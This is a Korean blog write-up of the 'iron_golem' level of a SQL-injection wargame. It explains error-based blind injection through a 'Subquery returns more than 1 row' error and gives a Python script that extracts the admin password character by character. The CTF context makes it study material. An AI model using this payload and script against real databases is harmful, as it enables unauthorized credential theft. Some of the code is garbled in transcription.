DoR@Hee의 끄적끄적

los - iron_golem 본문

WarGame/los(los.rubiya.kr)

los - iron_golem

DoR@Hee 2019. 4. 25. 14:33

[그림1] 문제 

문제 지금까지 와 문제는 다른 문제이다 Hello guest, Hello admin 등 결괏값에 따른 문자열을 찾아볼 수 없고

sleep, benchmark 등 time based sql injection 구문을 막고 있다.

 

[그림2] Mysql syntax error

문제를 확인 하기 위해서 '(싱글 쿼터)를 입력하니 Error 가 나왔다 즉 Error를 기반으로 문제를 풀어야 한다는 것을

알았다.

 

[그림3] SELECT 1 UNION ALL SELECT 1

문제를 풀기 위해 일단 SELECT 1 UNION ALL SELECT 1 || SELECT 1 UNION SELECT 2를 이용하기로 했다

 

[그림4] select 1 union all select1 이용

select 1 union all select1를 이용할 경우는 

위 그림과 같은 레코드 값을 반환한다 이유는 UNION ALL 같은 경우는 중복 값을 포함하기 때문이고 

 

[그림5] select 2 union select 1

위와 같이 구문을 select 2 union select 1를 이용하여야 레코드 값이 2개가 나온다

만약? select 1 union select 1 를 입력 시 레코드 값이 1개만 나와서 에러 값이 안 나온다. 

 

또한 여기서 중요한점은 메인 쿼리 서브 쿼리 개념인데 

SQL에 포함된 또 다른 SQL을 서브 쿼리 한다.

서브쿼리는 SELECT절, FROM절, WHERE절, HAVING절에 사용될 수 있으며,

서브 쿼리는 메인 쿼리가 실행되기 전에 먼저 실행되며

서브 쿼리에서는 메인 쿼리의 모든 칼럼을 참조할 수 있지만 메인 쿼리에서는 서브 쿼리의 칼럼을 참조할 수 없다

또한 서브쿼리는 하나 이상의 레코드 값이 반환되면 에러를 발생하는데

그것이 "Subquery returns more than 1 row"이다

[그림6] Subquery returns more than 1 row 에러 확인

위와 같이 쿼리를 SELECT * FROM `prob_iron_golem` WHERE id ='admin' and (SELECT 1 UNION ALL SELECT 1)

같이 작성한다면 반환 값은

위와 같이 나타나게 된다 그럴 경우 서브 쿼리에서 반환하는 레코드 값이 2개 이상이기 때문에 에러가 발생한다.

 

그걸 이용하여서 mysql에서 쿼리를 작성해 보자면

 

[그림7] 메인쿼리, 서브쿼리

파란색 부분은 메인 쿼리 빨간색 부분은 서브 쿼리인걸 확인할 수 있다

 

다시 문제로 돌아가 보면 일단 admin 값에 따른 pw를 알아보기 위해서 

 

[그림8] admin pw 길이 값 알아보기

위와 같이 쿼리를 작성했다

문제를 풀기 위해 if문을 사용하였으며

 

if문은 if(조건식, , 거짓)으로 사용하며 

쿼리를 해석해보자면 만약 admin pw의 길이가 68자리 일 경우! 쿼리에러를 발생하고 아니면 2를 출력한다

[그림9] 참값 쿼리 확인

pw 의 길이가 68자리인걸 확인할 수 있었고

 

[그림10] 통수 확인 

엄청 고생했던 문제인 xavis 문제 때문에 미리 pw 한 글자의 길이를 알아봤다. 길이가 4 일 때 에러가 발생했고, 

멀티 바이트 한글인걸 유추할 수 있었다. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
session = {'PHPSESSID''bfk4pc7objn53qlj95glfk6ja2'}
data = {}
flag = ""
print("[∞] flag : ", end='')
for i in range(168):
    a = 0
    b = 100000
    while b - a != 0:
        center = a + (b - a) // 2 + 1
        data['pw'= "' or id='admin' and if(ord(mid(pw,"+str(i)+",1))<"+str(center)+",(select 1 union select 2),1)#"
        res = requests.get(url, params=data, cookies=session)
        if "Subquery" in res.text:
            b = center - 1
        else:
            a = center
    print(chr(a), end='')
    flag = flag + chr(a)
data['pw'= flag
res = requests.get(url, params=data, cookies=session)
if "Clear!" in res.text:
    print("\n[♪] IRON_GOLEM Clear!")
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
 

[코드 1] 파이썬 코드

그걸 이용해서 파이썬 코드를 작성해보면 

 

[그림11] 플레그

 

[그림12] Clear!

 

 

 


추가적으로 

 

http://blog.naver.com/PostView.nhn?blogId=doy153&logNo=90179034658&parentCategoryNo=&categoryNo=17&viewDate=&isShowPopularPosts=false&from=postVie

 

mysql의 에러 종류

Error: 1000 SQLSTATE: HY000 (ER_HASHCHK) Message: hashchk Error: 1001 SQLS...

blog.naver.com

위 블로그에서 mysql 에러를 볼 수 있다.

'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글

los - dark_eyes  (0) 2019.04.26
los - dragon  (0) 2019.03.30
los - xavis  (1) 2019.03.30
los - nightmare  (0) 2019.03.29
los - succubus  (0) 2019.03.28
Comments